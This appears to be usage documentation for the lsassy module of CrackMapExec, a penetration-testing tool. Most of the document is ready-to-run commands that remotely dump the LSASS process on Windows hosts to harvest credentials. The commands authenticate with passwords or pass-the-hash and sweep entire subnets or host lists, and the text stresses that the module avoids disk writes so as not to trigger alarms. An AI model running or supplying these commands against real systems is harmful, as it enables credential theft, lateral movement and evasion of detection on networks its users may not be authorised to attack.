Description

This module dumps lsass process remotely using lsassy.exe, supporting multiple different methods. It also integrates with BloodHound out of the box, so that it can set the computer as owned in BloodHound automatically.

The lsassy module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Module Usage

This is how to use the lsassy module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M lsassy

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M lsassy
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M lsassy

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M lsassy

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M lsassy
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M lsassy
The lsassy module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M lsassy
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M lsassy
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M lsassy
